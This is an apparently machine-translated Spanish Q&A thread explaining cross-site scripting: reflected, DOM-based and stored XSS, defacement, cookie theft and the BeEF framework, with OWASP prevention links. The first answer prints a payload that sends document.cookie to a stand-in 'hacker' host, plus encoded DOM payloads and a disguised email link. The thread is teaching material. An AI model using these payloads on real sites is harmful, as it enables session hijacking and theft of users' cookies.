it-swarm-es.com

¿Cómo funciona XSS?

Tengo muy poca experiencia en desarrollo web, pero estoy interesado en la seguridad. Sin embargo, no he entendido completamente cómo funciona XSS. ¿Se lo puedes explicar a med? El artículo de Wikipedia me da una buena idea, pero creo que no la entiendo muy bien.

89
Ither

XSS - Scripting de sitios cruzados (pero no limitado a scripts de sitios cruzados reales)

XSS generalmente se presenta de 3 maneras diferentes:

No persistente (a menudo llamado XSS reflejado)

Esto es cuando puede inyectar código y el servidor se lo devuelve, sin desinfectar. A menudo, esto puede explotarse distribuyendo una URL (generalmente de aspecto inocente) de alguna forma o forma para que otros hagan clic.

Esto puede ser particularmente efectivo cuando se trata de ataques enfocados contra alguien. Siempre que pueda hacer que alguien haga clic en la URL que envió, existe la posibilidad de obtener privilegios elevados en el sistema.

Ejemplo:

Un sitio que contiene un campo de búsqueda no tiene la desinfección de entrada adecuada. Al elaborar una consulta de búsqueda con un aspecto similar a este:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Sentado en el otro extremo, en el servidor web, recibirá éxitos donde, después de un doble espacio, se encuentra la cookie de los usuarios. Puede tener suerte si un administrador hace clic en el enlace, lo que le permite robar su ID de sesión y secuestrar la sesión.

Usando técnicas como correo electrónico no deseado, publicaciones en el tablero de mensajes, mensajes de mensajería instantánea, kits de herramientas de ingeniería social, esta vulnerabilidad puede ser muy peligrosa.

Basado en DOM

Muy similar a no persistente, pero donde la carga útil de javascript no tiene que repetirse desde el servidor web. Esto a menudo puede ser donde simplemente el valor de un parámetro de URL se repite en la página sobre la marcha cuando se carga usando JavaScript ya residente.

Ejemplo:

http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

Por supuesto, los delincuentes modificarían la URL para que parezca más inocente. La misma carga útil que la anterior se codificó de manera diferente:

http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

Incluso puede enmascararlo mejor al enviar a clientes de correo electrónico que admiten HTML como este:

<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>

Persistente

Una vez que puedes persistir en un vector XSS, el ataque se vuelve mucho más peligroso muy rápido. El servidor refleja un XSS persistente, generalmente porque el XSS se ha almacenado en un campo de base de datos o similar. Considere que la siguiente entrada se almacena en la base de datos y luego se le presenta en su perfil:

<input type="text" value="Your name" />

Si puede hacer que la aplicación acepte y almacene entradas no desinfectadas, todo lo que tiene que hacer es hacer que otros usuarios vean su perfil (o dónde se refleja el XSS).

Estos tipos de XSS pueden ser no solo difíciles de detectar, sino muy devastadores para el sistema. ¡Solo eche un vistazo al gusano XSS llamado gusano Samy !

En los primeros días de XSS viste este tipo de explotación en todos los libros de visitas, comunidades, reseñas de usuarios, salas de chat, etc.


Dos vectores de ataque

Ahora que conoce las diferentes formas de entregar una carga XSS, me gustaría mencionar algunos vectores de ataque XSS que pueden ser muy peligrosos:

  • Desfiguración XSS

    La desfiguración de XSS no es una hazaña difícil de lograr. Si el XSS también es persistente, puede ser una molestia para los administradores de sistemas resolverlo. Eche un vistazo a RSnake Stallowned "ataque" que eliminó la función de vista previa del libro de Amazon. Lectura bastante divertida.

  • Robo de cookies y secuestro de sesión

    Como en uno de los ejemplos anteriores, una vez que puede acceder a las cookies de los usuarios, también puede obtener información confidencial. Capturar los ID de sesión puede conducir al secuestro de la sesión, lo que a su vez puede conducir a privilegios elevados en el sistema.

Disculpas por el mensaje tan largo. Me detendré ahora. Sin embargo, como puede ver, XSS es un tema muy importante para cubrir. Sin embargo, espero haberlo aclarado un poco.


Explotar XSS con BeEF

Para ver fácilmente cómo se puede explotar XSS, recomiendo probar BeEF , Marco de explotación del navegador. Una vez que está desempaquetado y se ejecuta en un servidor web con soporte para PHP, puede intentar fácilmente generar una simulación de una víctima (llamada zombie) donde puede probar fácilmente diferentes cargas útiles de XSS. Por mencionar algunos :

  • Red local de Portscan
  • Red local de Pingsweep
  • Enviar applet infectado con virus, firmado y listo
  • Enviar mensajes al cliente
  • Haz una llamada de Skype

La lista continua. Recomiendo ver el video en la página de inicio de BeEF.

ACTUALIZACIÓN: Lo he hecho n escrito en XSS en mi blog que describe XSS. Contiene un poco sobre la historia de XSS, los diferentes tipos de ataque y algunos casos de uso, incluidos BeEF y Shank.

80
Chris Dale

Para aprovechar lo que dijo SteveSyfuhs, hay muchas formas maliciosas posibles de usar XSS.

Ejemplos:

Un ejemplo sería inyectar código malicioso en un campo de base de datos. Posteriormente, cada vez que ese campo se muestre al usuario final sin desinfectar, su navegador ejecutará el código. Esto se llama ¡Scripts de sitios cruzados persistentes/almacenados.

Otra sería la capacidad de insertar código en GET o POST parámetros sin que sean validados o desinfectados. Cuando esas variables modifiquen el contenido de su página, los datos modificados se mostrarán al usuario final y su navegador ejecutaría el código malicioso. Esto generalmente está presente en enlaces maliciosos por correo electrónico/web que envían estos parámetros GET cuando alguien hace clic en el enlace. Esto se llama ¡Secuencias de comandos cruzadas en sitios reflejados.

Recursos:

Fortify Software tiene un gran recurso para explicar vulnerabilidades y dar ejemplos: https://www.fortify.com/vulncat/en/vulncat /index.html

  • Haga clic en el idioma de su elección y en Validación de entrada y
    Representación que puede seleccionar entre los diferentes tipos de Cross Site
    Vulnerabilidades de scripting definidas por Fortify Software.

[~ # ~] owasp [~ # ~] tiene un gran recurso para explicar cómo prevenir vulnerabilidades XSS: http: // www .owasp.org/index.php/XSS_ (Cross_Site_Scripting) _Prevention_Cheat_Sheet

14
Purge

XSS se trata de dejar entrar datos arbitrarios en un sistema y luego mostrar esos datos sin modificar a un usuario. Si guardaba algunos js en mi perfil y conseguía que alguien viera esa página, los js se ejecutarían. Como ejemplo, podría hacer que js envíe el contenido de la cookie de los usuarios a mi servicio web, lo que me permite hacer lo que quiera con su cookie como robar su sesión.

9
Steve

En pocas palabras, las secuencias de comandos entre sitios engañan al navegador web para que ejecute código malicioso porque los desarrolladores no verificaron la entrada no confiable.

Entonces, si toma un ejemplo de ataque XSS, la entrada no confiable podría ser un parámetro de URL que contenga JavaScript. El desarrollador asume que el parámetro solo contiene datos (o no lo verifica lo suficiente) y simplemente agrega el contenido del parámetro a la página HTML. Luego, el navegador ejecuta obedientemente el JavaScript y usted tiene un ataque XSS reflejado.

Puede encontrar más información aquí: página OWASP XSS

8
Ventral